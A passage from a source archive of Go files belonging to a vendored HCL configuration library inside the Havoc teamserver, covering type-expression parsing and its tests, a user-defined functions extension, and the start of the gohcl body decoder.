"shwoop" is not a valid type constructor.`, }, { `list("string")`, false, cty.List(cty.DynamicPseudoType), `A type specification is either a primitive type keyword (bool, number, string) or a complex type constructor call, like list(string).`, }, // More interesting combinations { `list(object({}))`, false, cty.List(cty.EmptyObject), ``, }, { `list(map(tuple([])))`, false, cty.List(cty.Map(cty.EmptyTuple)), ``, }, } for _, test := range tests { t.Run(test.Source, func(t *testing.T) { expr, diags := hclsyntax.ParseExpression([]byte(test.Source), "", hcl.Pos{Line: 1, Column: 1}) if diags.HasErrors() { t.Fatalf("failed to parse: %s", diags) } got, diags := getType(expr, test.Constraint) if test.WantError == "" { for _, diag := range diags { t.Error(diag) } } else { found := false for _, diag := range diags { t.Log(diag) if diag.Severity == hcl.DiagError && diag.Detail == test.WantError { found = true } } if !found { t.Errorf("missing expected error detail message: %s", test.WantError) } } if !got.Equals(test.Want) { t.Errorf("wrong result\ngot: %#v\nwant: %#v", got, test.Want) } }) } } func TestGetTypeJSON(t *testing.T) { // We have fewer test cases here because we're mainly exercising the // extra indirection in the JSON syntax package, which ultimately calls // into the native syntax parser (which we tested extensively in // TestGetType). tests := []struct { Source string Constraint bool Want cty.Type WantError string }{ { `{"expr":"bool"}`, false, cty.Bool, "", }, { `{"expr":"list(bool)"}`, false, cty.List(cty.Bool), "", }, { `{"expr":"list"}`, false, cty.DynamicPseudoType, "The list type constructor requires one argument specifying the element type.", }, } for _, test := range tests { t.Run(test.Source, func(t *testing.T) { file, diags := json.Parse([]byte(test.Source), "") if diags.HasErrors() { t.Fatalf("failed to parse: %s", diags) } type TestContent struct { Expr hcl.Expression `hcl:"expr"` } var content TestContent diags = gohcl.DecodeBody(file.Body, nil, &content) if diags.HasErrors() { t.Fatalf("failed to decode: %s", diags) } got, diags := getType(content.Expr, test.Constraint) if test.WantError == "" { for _, diag := range diags { t.Error(diag) } } else { found := false for _, diag := range diags { t.Log(diag) if diag.Severity == hcl.DiagError && diag.Detail == test.WantError { found = true } } if !found { t.Errorf("missing expected error detail message: %s", test.WantError) } } if !got.Equals(test.Want) { t.Errorf("wrong result\ngot: %#v\nwant: %#v", got, test.Want) } }) } } havoc-0.6~git20240910.69ce17c/teamserver/pkg/profile/yaotl/ext/typeexpr/public.go000066400000000000000000000102371467014221700273050ustar00rootroot00000000000000package typeexpr import ( "bytes" "fmt" "sort" "Havoc/pkg/profile/yaotl/hclsyntax" "Havoc/pkg/profile/yaotl" "github.com/zclconf/go-cty/cty" ) // Type attempts to process the given expression as a type expression and, if // successful, returns the resulting type. If unsuccessful, error diagnostics // are returned. func Type(expr hcl.Expression) (cty.Type, hcl.Diagnostics) { return getType(expr, false) } // TypeConstraint attempts to parse the given expression as a type constraint // and, if successful, returns the resulting type. If unsuccessful, error // diagnostics are returned. // // A type constraint has the same structure as a type, but it additionally // allows the keyword "any" to represent cty.DynamicPseudoType, which is often // used as a wildcard in type checking and type conversion operations. func TypeConstraint(expr hcl.Expression) (cty.Type, hcl.Diagnostics) { return getType(expr, true) } // TypeString returns a string rendering of the given type as it would be // expected to appear in the HCL native syntax. // // This is primarily intended for showing types to the user in an application // that uses typexpr, where the user can be assumed to be familiar with the // type expression syntax. In applications that do not use typeexpr these // results may be confusing to the user and so type.FriendlyName may be // preferable, even though it's less precise. // // TypeString produces reasonable results only for types like what would be // produced by the Type and TypeConstraint functions. In particular, it cannot // support capsule types. func TypeString(ty cty.Type) string { // Easy cases first switch ty { case cty.String: return "string" case cty.Bool: return "bool" case cty.Number: return "number" case cty.DynamicPseudoType: return "any" } if ty.IsCapsuleType() { panic("TypeString does not support capsule types") } if ty.IsCollectionType() { ety := ty.ElementType() etyString := TypeString(ety) switch { case ty.IsListType(): return fmt.Sprintf("list(%s)", etyString) case ty.IsSetType(): return fmt.Sprintf("set(%s)", etyString) case ty.IsMapType(): return fmt.Sprintf("map(%s)", etyString) default: // Should never happen because the above is exhaustive panic("unsupported collection type") } } if ty.IsObjectType() { var buf bytes.Buffer buf.WriteString("object({") atys := ty.AttributeTypes() names := make([]string, 0, len(atys)) for name := range atys { names = append(names, name) } sort.Strings(names) first := true for _, name := range names { aty := atys[name] if !first { buf.WriteByte(',') } if !hclsyntax.ValidIdentifier(name) { // Should never happen for any type produced by this package, // but we'll do something reasonable here just so we don't // produce garbage if someone gives us a hand-assembled object // type that has weird attribute names. // Using Go-style quoting here isn't perfect, since it doesn't // exactly match HCL syntax, but it's fine for an edge-case. buf.WriteString(fmt.Sprintf("%q", name)) } else { buf.WriteString(name) } buf.WriteByte('=') buf.WriteString(TypeString(aty)) first = false } buf.WriteString("})") return buf.String() } if ty.IsTupleType() { var buf bytes.Buffer buf.WriteString("tuple([") etys := ty.TupleElementTypes() first := true for _, ety := range etys { if !first { buf.WriteByte(',') } buf.WriteString(TypeString(ety)) first = false } buf.WriteString("])") return buf.String() } // Should never happen because we covered all cases above. panic(fmt.Errorf("unsupported type %#v", ty)) } havoc-0.6~git20240910.69ce17c/teamserver/pkg/profile/yaotl/ext/typeexpr/type_string_test.go000066400000000000000000000037641467014221700314440ustar00rootroot00000000000000package typeexpr import ( "testing" "github.com/zclconf/go-cty/cty" ) func TestTypeString(t *testing.T) { tests := []struct { Type cty.Type Want string }{ { cty.DynamicPseudoType, "any", }, { cty.String, "string", }, { cty.Number, "number", }, { cty.Bool, "bool", }, { cty.List(cty.Number), "list(number)", }, { cty.Set(cty.Bool), "set(bool)", }, { cty.Map(cty.String), "map(string)", }, { cty.EmptyObject, "object({})", }, { cty.Object(map[string]cty.Type{"foo": cty.Bool}), "object({foo=bool})", }, { cty.Object(map[string]cty.Type{"foo": cty.Bool, "bar": cty.String}), "object({bar=string,foo=bool})", }, { cty.EmptyTuple, "tuple([])", }, { cty.Tuple([]cty.Type{cty.Bool}), "tuple([bool])", }, { cty.Tuple([]cty.Type{cty.Bool, cty.String}), "tuple([bool,string])", }, { cty.List(cty.DynamicPseudoType), "list(any)", }, { cty.Tuple([]cty.Type{cty.DynamicPseudoType}), "tuple([any])", }, { cty.Object(map[string]cty.Type{"foo": cty.DynamicPseudoType}), "object({foo=any})", }, { // We don't expect to find attributes that aren't valid identifiers // because we only promise to support types that this package // would've created, but we allow this situation during rendering // just because it's convenient for applications trying to produce // error messages about mismatched types. Note that the quoted // attribute name is not actually accepted by our Type and // TypeConstraint functions, so this is one situation where the // TypeString result cannot be re-parsed by those functions. cty.Object(map[string]cty.Type{"foo bar baz": cty.String}), `object({"foo bar baz"=string})`, }, } for _, test := range tests { t.Run(test.Type.GoString(), func(t *testing.T) { got := TypeString(test.Type) if got != test.Want { t.Errorf("wrong result\ntype: %#v\ngot: %s\nwant: %s", test.Type, got, test.Want) } }) } } havoc-0.6~git20240910.69ce17c/teamserver/pkg/profile/yaotl/ext/typeexpr/type_type.go000066400000000000000000000102261467014221700300470ustar00rootroot00000000000000package typeexpr import ( "fmt" "reflect" "Havoc/pkg/profile/yaotl" "Havoc/pkg/profile/yaotl/ext/customdecode" "github.com/zclconf/go-cty/cty" "github.com/zclconf/go-cty/cty/convert" "github.com/zclconf/go-cty/cty/function" ) // TypeConstraintType is a cty capsule type that allows cty type constraints to // be used as values. // // If TypeConstraintType is used in a context supporting the // customdecode.CustomExpressionDecoder extension then it will implement // expression decoding using the TypeConstraint function, thus allowing // type expressions to be used in contexts where value expressions might // normally be expected, such as in arguments to function calls. var TypeConstraintType cty.Type // TypeConstraintVal constructs a cty.Value whose type is // TypeConstraintType. func TypeConstraintVal(ty cty.Type) cty.Value { return cty.CapsuleVal(TypeConstraintType, &ty) } // TypeConstraintFromVal extracts the type from a cty.Value of // TypeConstraintType that was previously constructed using TypeConstraintVal. // // If the given value isn't a known, non-null value of TypeConstraintType // then this function will panic. func TypeConstraintFromVal(v cty.Value) cty.Type { if !v.Type().Equals(TypeConstraintType) { panic("value is not of TypeConstraintType") } ptr := v.EncapsulatedValue().(*cty.Type) return *ptr } // ConvertFunc is a cty function that implements type conversions. // // Its signature is as follows: // convert(value, type_constraint) // // ...where type_constraint is a type constraint expression as defined by // typeexpr.TypeConstraint. // // It relies on HCL's customdecode extension and so it's not suitable for use // in non-HCL contexts or if you are using a HCL syntax implementation that // does not support customdecode for function arguments. However, it _is_ // supported for function calls in the HCL native expression syntax. var ConvertFunc function.Function func init() { TypeConstraintType = cty.CapsuleWithOps("type constraint", reflect.TypeOf(cty.Type{}), &cty.CapsuleOps{ ExtensionData: func(key interface{}) interface{} { switch key { case customdecode.CustomExpressionDecoder: return customdecode.CustomExpressionDecoderFunc( func(expr hcl.Expression, ctx *hcl.EvalContext) (cty.Value, hcl.Diagnostics) { ty, diags := TypeConstraint(expr) if diags.HasErrors() { return cty.NilVal, diags } return TypeConstraintVal(ty), nil }, ) default: return nil } }, TypeGoString: func(_ reflect.Type) string { return "typeexpr.TypeConstraintType" }, GoString: func(raw interface{}) string { tyPtr := raw.(*cty.Type) return fmt.Sprintf("typeexpr.TypeConstraintVal(%#v)", *tyPtr) }, RawEquals: func(a, b interface{}) bool { aPtr := a.(*cty.Type) bPtr := b.(*cty.Type) return (*aPtr).Equals(*bPtr) }, }) ConvertFunc = function.New(&function.Spec{ Params: []function.Parameter{ { Name: "value", Type: cty.DynamicPseudoType, AllowNull: true, AllowDynamicType: true, }, { Name: "type", Type: TypeConstraintType, }, }, Type: func(args []cty.Value) (cty.Type, error) { wantTypePtr := args[1].EncapsulatedValue().(*cty.Type) got, err := convert.Convert(args[0], *wantTypePtr) if err != nil { return cty.NilType, function.NewArgError(0, err) } return got.Type(), nil }, Impl: func(args []cty.Value, retType cty.Type) (cty.Value, error) { v, err := convert.Convert(args[0], retType) if err != nil { return cty.NilVal, function.NewArgError(0, err) } return v, nil }, }) } havoc-0.6~git20240910.69ce17c/teamserver/pkg/profile/yaotl/ext/typeexpr/type_type_test.go000066400000000000000000000057021467014221700311110ustar00rootroot00000000000000package typeexpr import ( "fmt" "testing" "github.com/zclconf/go-cty/cty" ) func TestTypeConstraintType(t *testing.T) { tyVal1 := TypeConstraintVal(cty.String) tyVal2 := TypeConstraintVal(cty.String) tyVal3 := TypeConstraintVal(cty.Number) if !tyVal1.RawEquals(tyVal2) { t.Errorf("tyVal1 not equal to tyVal2\ntyVal1: %#v\ntyVal2: %#v", tyVal1, tyVal2) } if tyVal1.RawEquals(tyVal3) { t.Errorf("tyVal1 equal to tyVal2, but should not be\ntyVal1: %#v\ntyVal3: %#v", tyVal1, tyVal3) } if got, want := TypeConstraintFromVal(tyVal1), cty.String; !got.Equals(want) { t.Errorf("wrong type extracted from tyVal1\ngot: %#v\nwant: %#v", got, want) } if got, want := TypeConstraintFromVal(tyVal3), cty.Number; !got.Equals(want) { t.Errorf("wrong type extracted from tyVal3\ngot: %#v\nwant: %#v", got, want) } } func TestConvertFunc(t *testing.T) { // This is testing the convert function directly, skipping over the HCL // parsing and evaluation steps that would normally lead there. There is // another test in the "integrationtest" package called TestTypeConvertFunc // that exercises the full path to this function via the hclsyntax parser. tests := []struct { val, ty cty.Value want cty.Value wantErr string }{ // The goal here is not an exhaustive set of conversions, since that's // already covered in cty/convert, but rather exercising different // permutations of success and failure to make sure the function // handles all of the results in a reasonable way. { cty.StringVal("hello"), TypeConstraintVal(cty.String), cty.StringVal("hello"), ``, }, { cty.True, TypeConstraintVal(cty.String), cty.StringVal("true"), ``, }, { cty.StringVal("hello"), TypeConstraintVal(cty.Bool), cty.NilVal, `a bool is required`, }, { cty.UnknownVal(cty.Bool), TypeConstraintVal(cty.Bool), cty.UnknownVal(cty.Bool), ``, }, { cty.DynamicVal, TypeConstraintVal(cty.Bool), cty.UnknownVal(cty.Bool), ``, }, { cty.NullVal(cty.Bool), TypeConstraintVal(cty.Bool), cty.NullVal(cty.Bool), ``, }, { cty.NullVal(cty.DynamicPseudoType), TypeConstraintVal(cty.Bool), cty.NullVal(cty.Bool), ``, }, { cty.StringVal("hello").Mark(1), TypeConstraintVal(cty.String), cty.StringVal("hello").Mark(1), ``, }, } for _, test := range tests { t.Run(fmt.Sprintf("%#v to %#v", test.val, test.ty), func(t *testing.T) { got, err := ConvertFunc.Call([]cty.Value{test.val, test.ty}) if err != nil { if test.wantErr != "" { if got, want := err.Error(), test.wantErr; got != want { t.Errorf("wrong error\ngot: %s\nwant: %s", got, want) } } else { t.Errorf("unexpected error\ngot: %s\nwant: ", err) } return } if test.wantErr != "" { t.Errorf("wrong error\ngot: \nwant: %s", test.wantErr) } if !test.want.RawEquals(got) { t.Errorf("wrong result\ngot: %#v\nwant: %#v", got, test.want) } }) } } havoc-0.6~git20240910.69ce17c/teamserver/pkg/profile/yaotl/ext/userfunc/000077500000000000000000000000001467014221700254475ustar00rootroot00000000000000havoc-0.6~git20240910.69ce17c/teamserver/pkg/profile/yaotl/ext/userfunc/README.md000066400000000000000000000015431467014221700267310ustar00rootroot00000000000000# HCL User Functions Extension This HCL extension allows a calling application to support user-defined functions. Functions are defined via a specific block type, like this: ```hcl function "add" { params = [a, b] result = a + b } function "list" { params = [] variadic_param = items result = items } ``` The extension is implemented as a pre-processor for `cty.Body` objects. Given a body that may contain functions, the `DecodeUserFunctions` function searches for blocks that define functions and returns a functions map suitable for inclusion in a `hcl.EvalContext`. It also returns a new `cty.Body` that contains the remainder of the content from the given body, allowing for further processing of remaining content. For more information, see [the godoc reference](https://pkg.go.dev/Havoc/pkg/profile/yaotl/ext/userfunc?tab=doc). havoc-0.6~git20240910.69ce17c/teamserver/pkg/profile/yaotl/ext/userfunc/decode.go000066400000000000000000000120301467014221700272150ustar00rootroot00000000000000package userfunc import ( "Havoc/pkg/profile/yaotl" "github.com/zclconf/go-cty/cty" "github.com/zclconf/go-cty/cty/function" ) var funcBodySchema = &hcl.BodySchema{ Attributes: []hcl.AttributeSchema{ { Name: "params", Required: true, }, { Name: "variadic_param", Required: false, }, { Name: "result", Required: true, }, }, } func decodeUserFunctions(body hcl.Body, blockType string, contextFunc ContextFunc) (funcs map[string]function.Function, remain hcl.Body, diags hcl.Diagnostics) { schema := &hcl.BodySchema{ Blocks: []hcl.BlockHeaderSchema{ { Type: blockType, LabelNames: []string{"name"}, }, }, } content, remain, diags := body.PartialContent(schema) if diags.HasErrors() { return nil, remain, diags } // first call to getBaseCtx will populate context, and then the same // context will be used for all subsequent calls. It's assumed that // all functions in a given body should see an identical context. var baseCtx *hcl.EvalContext getBaseCtx := func() *hcl.EvalContext { if baseCtx == nil { if contextFunc != nil { baseCtx = contextFunc() } } // baseCtx might still be nil here, and that's okay return baseCtx } funcs = make(map[string]function.Function) Blocks: for _, block := range content.Blocks { name := block.Labels[0] funcContent, funcDiags := block.Body.Content(funcBodySchema) diags = append(diags, funcDiags...) if funcDiags.HasErrors() { continue } paramsExpr := funcContent.Attributes["params"].Expr resultExpr := funcContent.Attributes["result"].Expr var varParamExpr hcl.Expression if funcContent.Attributes["variadic_param"] != nil { varParamExpr = funcContent.Attributes["variadic_param"].Expr } var params []string var varParam string paramExprs, paramsDiags := hcl.ExprList(paramsExpr) diags = append(diags, paramsDiags...) if paramsDiags.HasErrors() { continue } for _, paramExpr := range paramExprs { param := hcl.ExprAsKeyword(paramExpr) if param == "" { diags = append(diags, &hcl.Diagnostic{ Severity: hcl.DiagError, Summary: "Invalid param element", Detail: "Each parameter name must be an identifier.", Subject: paramExpr.Range().Ptr(), }) continue Blocks } params = append(params, param) } if varParamExpr != nil { varParam = hcl.ExprAsKeyword(varParamExpr) if varParam == "" { diags = append(diags, &hcl.Diagnostic{ Severity: hcl.DiagError, Summary: "Invalid variadic_param", Detail: "The variadic parameter name must be an identifier.", Subject: varParamExpr.Range().Ptr(), }) continue } } spec := &function.Spec{} for _, paramName := range params { spec.Params = append(spec.Params, function.Parameter{ Name: paramName, Type: cty.DynamicPseudoType, }) } if varParamExpr != nil { spec.VarParam = &function.Parameter{ Name: varParam, Type: cty.DynamicPseudoType, } } impl := func(args []cty.Value) (cty.Value, error) { ctx := getBaseCtx() ctx = ctx.NewChild() ctx.Variables = make(map[string]cty.Value) // The cty function machinery guarantees that we have at least // enough args to fill all of our params. for i, paramName := range params { ctx.Variables[paramName] = args[i] } if spec.VarParam != nil { varArgs := args[len(params):] ctx.Variables[varParam] = cty.TupleVal(varArgs) } result, diags := resultExpr.Value(ctx) if diags.HasErrors() { // Smuggle the diagnostics out via the error channel, since // a diagnostics sequence implements error. Caller can // type-assert this to recover the individual diagnostics // if desired. return cty.DynamicVal, diags } return result, nil } spec.Type = func(args []cty.Value) (cty.Type, error) { val, err := impl(args) return val.Type(), err } spec.Impl = func(args []cty.Value, retType cty.Type) (cty.Value, error) { return impl(args) } funcs[name] = function.New(spec) } return funcs, remain, diags } havoc-0.6~git20240910.69ce17c/teamserver/pkg/profile/yaotl/ext/userfunc/decode_test.go000066400000000000000000000074661467014221700302750ustar00rootroot00000000000000package userfunc import ( "fmt" "testing" "Havoc/pkg/profile/yaotl" "Havoc/pkg/profile/yaotl/hclsyntax" "github.com/zclconf/go-cty/cty" ) func TestDecodeUserFunctions(t *testing.T) { tests := []struct { src string testExpr string baseCtx *hcl.EvalContext want cty.Value diagCount int }{ { ` function "greet" { params = [name] result = "Hello, ${name}." } `, `greet("Ermintrude")`, nil, cty.StringVal("Hello, Ermintrude."), 0, }, { ` function "greet" { params = [name] result = "Hello, ${name}." } `, `greet()`, nil, cty.DynamicVal, 1, // missing value for "name" }, { ` function "greet" { params = [name] result = "Hello, ${name}." } `, `greet("Ermintrude", "extra")`, nil, cty.DynamicVal, 1, // too many arguments }, { ` function "add" { params = [a, b] result = a + b } `, `add(1, 5)`, nil, cty.NumberIntVal(6), 0, }, { ` function "argstuple" { params = [] variadic_param = args result = args } `, `argstuple("a", true, 1)`, nil, cty.TupleVal([]cty.Value{cty.StringVal("a"), cty.True, cty.NumberIntVal(1)}), 0, }, { ` function "missing_var" { params = [] result = nonexist } `, `missing_var()`, nil, cty.DynamicVal, 1, // no variable named "nonexist" }, { ` function "closure" { params = [] result = upvalue } `, `closure()`, &hcl.EvalContext{ Variables: map[string]cty.Value{ "upvalue": cty.True, }, }, cty.True, 0, }, { ` function "neg" { params = [val] result = -val } function "add" { params = [a, b] result = a + b } `, `neg(add(1, 3))`, nil, cty.NumberIntVal(-4), 0, }, { ` function "neg" { parrams = [val] result = -val } `, `null`, nil, cty.NullVal(cty.DynamicPseudoType), 2, // missing attribute "params", and unknown attribute "parrams" }, } for i, test := range tests { t.Run(fmt.Sprintf("%02d", i), func(t *testing.T) { f, diags := hclsyntax.ParseConfig([]byte(test.src), "config", hcl.Pos{Line: 1, Column: 1}) if f == nil || f.Body == nil { t.Fatalf("got nil file or body") } funcs, _, funcsDiags := decodeUserFunctions(f.Body, "function", func() *hcl.EvalContext { return test.baseCtx }) diags = append(diags, funcsDiags...) expr, exprParseDiags := hclsyntax.ParseExpression([]byte(test.testExpr), "testexpr", hcl.Pos{Line: 1, Column: 1}) diags = append(diags, exprParseDiags...) if expr == nil { t.Fatalf("parsing test expr returned nil") } got, exprDiags := expr.Value(&hcl.EvalContext{ Functions: funcs, }) diags = append(diags, exprDiags...) if len(diags) != test.diagCount { t.Errorf("wrong number of diagnostics %d; want %d", len(diags), test.diagCount) for _, diag := range diags { t.Logf("- %s", diag) } } if !got.RawEquals(test.want) { t.Errorf("wrong result\ngot: %#v\nwant: %#v", got, test.want) } }) } } havoc-0.6~git20240910.69ce17c/teamserver/pkg/profile/yaotl/ext/userfunc/doc.go000066400000000000000000000015201467014221700265410ustar00rootroot00000000000000// Package userfunc implements a HCL extension that allows user-defined // functions in HCL configuration. // // Using this extension requires some integration effort on the part of the // calling application, to pass any declared functions into a HCL evaluation // context after processing. // // The function declaration syntax looks like this: // // function "foo" { // params = ["name"] // result = "Hello, ${name}!" // } // // When a user-defined function is called, the expression given for the "result" // attribute is evaluated in an isolated evaluation context that defines variables // named after the given parameter names. // // The block name "function" may be overridden by the calling application, if // that default name conflicts with an existing block or attribute name in // the application. package userfunc havoc-0.6~git20240910.69ce17c/teamserver/pkg/profile/yaotl/ext/userfunc/public.go000066400000000000000000000037701467014221700272630ustar00rootroot00000000000000package userfunc import ( "Havoc/pkg/profile/yaotl" "github.com/zclconf/go-cty/cty/function" ) // A ContextFunc is a callback used to produce the base EvalContext for // running a particular set of functions. // // This is a function rather than an EvalContext directly to allow functions // to be decoded before their context is complete. This will be true, for // example, for applications that wish to allow functions to refer to themselves. // // The simplest use of a ContextFunc is to give user functions access to the // same global variables and functions available elsewhere in an application's // configuration language, but more complex applications may use different // contexts to support lexical scoping depending on where in a configuration // structure a function declaration is found, etc. type ContextFunc func() *hcl.EvalContext // DecodeUserFunctions looks for blocks of the given type in the given body // and, for each one found, interprets it as a custom function definition. // // On success, the result is a mapping of function names to implementations, // along with a new body that represents the remaining content of the given // body which can be used for further processing. // // The result expression of each function is parsed during decoding but not // evaluated until the function is called. // // If the given ContextFunc is non-nil, it will be called to obtain the // context in which the function result expressions will be evaluated. If nil, // or if it returns nil, the result expression will have access only to // variables named after the declared parameters. A non-nil context turns // the returned functions into closures, bound to the given context. // // If the returned diagnostics set has errors then the function map and // remain body may be nil or incomplete. func DecodeUserFunctions(body hcl.Body, blockType string, context ContextFunc) (funcs map[string]function.Function, remain hcl.Body, diags hcl.Diagnostics) { return decodeUserFunctions(body, blockType, context) } havoc-0.6~git20240910.69ce17c/teamserver/pkg/profile/yaotl/gohcl/000077500000000000000000000000001467014221700241115ustar00rootroot00000000000000havoc-0.6~git20240910.69ce17c/teamserver/pkg/profile/yaotl/gohcl/decode.go000066400000000000000000000260241467014221700256670ustar00rootroot00000000000000package gohcl import ( "fmt" "reflect" "github.com/zclconf/go-cty/cty" "Havoc/pkg/profile/yaotl" "github.com/zclconf/go-cty/cty/convert" "github.com/zclconf/go-cty/cty/gocty" ) // DecodeBody extracts the configuration within the given body into the given // value. This value must be a non-nil pointer to either a struct or // a map, where in the former case the configuration will be decoded using // struct tags and in the latter case only attributes are allowed and their // values are decoded into the map. // // The given EvalContext is used to resolve any variables or functions in // expressions encountered while decoding. This may be nil to require only // constant values, for simple applications that do not support variables or // functions. // // The returned diagnostics should be inspected with its HasErrors method to // determine if the populated value is valid and complete. If error diagnostics // are returned then the given value may have been partially-populated but // may still be accessed by a careful caller for static analysis and editor // integration use-cases. func DecodeBody(body hcl.Body, ctx *hcl.EvalContext, val interface{}) hcl.Diagnostics { rv := reflect.ValueOf(val) if rv.Kind() != reflect.Ptr { panic(fmt.Sprintf("target value must be a pointer, not %s", rv.Type().String())) } return decodeBodyToValue(body, ctx, rv.Elem()) } func decodeBodyToValue(body hcl.Body, ctx *hcl.EvalContext, val reflect.Value) hcl.Diagnostics { et := val.Type() switch et.Kind() { case reflect.Struct: return decodeBodyToStruct(body, ctx, val) case reflect.Map: return decodeBodyToMap(body, ctx, val) default: panic(fmt.Sprintf("target value must be pointer to struct or map, not %s", et.String())) } } func decodeBodyToStruct(body hcl.Body, ctx *hcl.EvalContext, val reflect.Value) hcl.Diagnostics { schema, partial := ImpliedBodySchema(val.Interface()) var content *hcl.BodyContent var leftovers hcl.Body var diags hcl.Diagnostics if partial { content, leftovers, diags = body.PartialContent(schema) } else { content, diags = body.Content(schema) } if content == nil { return diags } tags := getFieldTags(val.Type()) if tags.Body != nil { fieldIdx := *tags.Body field := val.Type().Field(fieldIdx) fieldV := val.Field(fieldIdx) switch { case bodyType.AssignableTo(field.Type): fieldV.Set(reflect.ValueOf(body)) default: diags = append(diags, decodeBodyToValue(body, ctx, fieldV)...) } } if tags.Remain != nil { fieldIdx := *tags.Remain field := val.Type().Field(fieldIdx) fieldV := val.Field(fieldIdx) switch { case bodyType.AssignableTo(field.Type): fieldV.Set(reflect.ValueOf(leftovers)) case attrsType.AssignableTo(field.Type): attrs, attrsDiags := leftovers.JustAttributes() if len(attrsDiags) > 0 { diags = append(diags, attrsDiags...) } fieldV.Set(reflect.ValueOf(attrs)) default: diags = append(diags, decodeBodyToValue(leftovers, ctx, fieldV)...) } } for name, fieldIdx := range tags.Attributes { attr := content.Attributes[name] field := val.Type().Field(fieldIdx) fieldV := val.Field(fieldIdx) if attr == nil { if !exprType.AssignableTo(field.Type) { continue } // As a special case, if the target is of type hcl.Expression then // we'll assign an actual expression that evalues to a cty null, // so the caller can deal with it within the cty realm rather // than within the Go realm. synthExpr := hcl.StaticExpr(cty.NullVal(cty.DynamicPseudoType), body.MissingItemRange()) fieldV.Set(reflect.ValueOf(synthExpr)) continue } switch { case attrType.AssignableTo(field.Type): fieldV.Set(reflect.ValueOf(attr)) case exprType.AssignableTo(field.Type): fieldV.Set(reflect.ValueOf(attr.Expr)) default: diags = append(diags, DecodeExpression( attr.Expr, ctx, fieldV.Addr().Interface(), )...) } } blocksByType := content.Blocks.ByType() for typeName, fieldIdx := range tags.Blocks { blocks := blocksByType[typeName] field := val.Type().Field(fieldIdx) ty := field.Type isSlice := false isPtr := false if ty.Kind() == reflect.Slice { isSlice = true ty = ty.Elem() } if ty.Kind() == reflect.Ptr { isPtr = true ty = ty.Elem() } if len(blocks) > 1 && !isSlice { diags = append(diags, &hcl.Diagnostic{ Severity: hcl.DiagError, Summary: fmt.Sprintf("Duplicate %s block", typeName), Detail: fmt.Sprintf( "Only one %s block is allowed. Another was defined at %s.", typeName, blocks[0].DefRange.String(), ), Subject: &blocks[1].DefRange, }) continue } if len(blocks) == 0 { if isSlice || isPtr { if val.Field(fieldIdx).IsNil() { val.Field(fieldIdx).Set(reflect.Zero(field.Type)) } } else { diags = append(diags, &hcl.Diagnostic{ Severity: hcl.DiagError, Summary: fmt.Sprintf("Missing %s block", typeName), Detail: fmt.Sprintf("A %s block is required.", typeName), Subject: body.MissingItemRange().Ptr(), }) } continue } switch { case isSlice: elemType := ty if isPtr { elemType = reflect.PtrTo(ty) } sli := val.Field(fieldIdx) if sli.IsNil() { sli = reflect.MakeSlice(reflect.SliceOf(elemType), len(blocks), len(blocks)) } for i, block := range blocks { if isPtr { if i >= sli.Len() { sli = reflect.Append(sli, reflect.New(ty)) } v := sli.Index(i) if v.IsNil() { v = reflect.New(ty) } diags = append(diags, decodeBlockToValue(block, ctx, v.Elem())...) sli.Index(i).Set(v) } else { if i >= sli.Len() { sli = reflect.Append(sli, reflect.Indirect(reflect.New(ty))) } diags = append(diags, decodeBlockToValue(block, ctx, sli.Index(i))...) } } if sli.Len() > len(blocks) { sli.SetLen(len(blocks)) } val.Field(fieldIdx).Set(sli) default: block := blocks[0] if isPtr { v := val.Field(fieldIdx) if v.IsNil() { v = reflect.New(ty) } diags = append(diags, decodeBlockToValue(block, ctx, v.Elem())...) val.Field(fieldIdx).Set(v) } else { diags = append(diags, decodeBlockToValue(block, ctx, val.Field(fieldIdx))...) } } } return diags } func decodeBodyToMap(body hcl.Body, ctx *hcl.EvalContext, v reflect.Value) hcl.Diagnostics { attrs, diags := body.JustAttributes() if attrs == nil { return diags } mv := reflect.MakeMap(v.Type()) for k, attr := range attrs { switch { case attrType.AssignableTo(v.Type().Elem()): mv.SetMapIndex(reflect.ValueOf(k), reflect.ValueOf(attr)) case exprType.AssignableTo(v.Type().Elem()): mv.SetMapIndex(reflect.ValueOf(k), reflect.ValueOf(attr.Expr)) default: ev := reflect.New(v.Type().Elem()) diags = append(diags, DecodeExpression(attr.Expr, ctx, ev.Interface())...) mv.SetMapIndex(reflect.ValueOf(k), ev.Elem()) } } v.Set(mv) return diags } func decodeBlockToValue(block *hcl.Block, ctx *hcl.EvalContext, v reflect.Value) hcl.Diagnostics { var diags hcl.Diagnostics ty := v.Type() switch { case blockType.AssignableTo(ty): v.Elem().Set(reflect.ValueOf(block)) case bodyType.AssignableTo(ty): v.Elem().Set(reflect.ValueOf(block.Body)) case attrsType.AssignableTo(ty): attrs, attrsDiags := block.Body.JustAttributes() if len(attrsDiags) > 0 { diags = append(diags, attrsDiags...) } v.Elem().Set(reflect.ValueOf(attrs)) default: diags = append(diags, decodeBodyToValue(block.Body, ctx, v)...) if len(block.Labels) > 0 { blockTags := getFieldTags(ty) for li, lv := range block.Labels { lfieldIdx := blockTags.Labels[li].FieldIndex v.Field(lfieldIdx).Set(reflect.ValueOf(lv)) } } } return diags } // DecodeExpression extracts the value of the given expression into the given // value. This value must be something that gocty is able to decode into, // since the final decoding is delegated to that package. // // The given EvalContext is used to resolve any variables or functions in // expressions encountered while decoding. This may be nil to require only // constant values, for simple applications that do not support variables or // functions. // // The returned diagnostics should be inspected with its HasErrors method to // determine if the populated value is valid and complete. If error diagnostics // are returned then the given value may have been partially-populated but // may still be accessed by a careful caller for static analysis and editor // integration use-cases. func DecodeExpression(expr hcl.Expression, ctx *hcl.EvalContext, val interface{}) hcl.Diagnostics { srcVal, diags := expr.Value(ctx) convTy, err := gocty.ImpliedType(val) if err != nil { panic(fmt.Sprintf("unsuitable DecodeExpression target: %s", err)) } srcVal, err = convert.Convert(srcVal, convTy) if err != nil { diags = append(diags, &hcl.Diagnostic{ Severity: hcl.DiagError, Summary: "Unsuitable value type", Detail: fmt.Sprintf("Unsuitable value: %s", err.Error()), Subject: expr.StartRange().Ptr(), Context: expr.Range().Ptr(), }) return diags } err = gocty.FromCtyValue(srcVal, val) if err != nil { diags = append(diags, &hcl.Diagnostic{ Severity: hcl.DiagError, Summary: "Unsuitable value type", Detail: fmt.Sprintf("Unsuitable value: %s", err.Error()), Subject: expr.StartRange().Ptr(), Context: expr.Range().Ptr(), }) } return diags } havoc-0.6~git20240910.69ce17c/teamserver/pkg/profile/yaotl/gohcl/doc.go000066400000000000000000000066371467014221700252210ustar00rootroot00000000000000// Package gohcl allows decoding HCL configurations into Go data structures. // // It provides a convenient and concise way of describing the schema for // configuration and then accessing the resulting data via native Go // types. // // A struct field tag scheme is used, similar to other decoding and // unmarshalling libraries. The tags 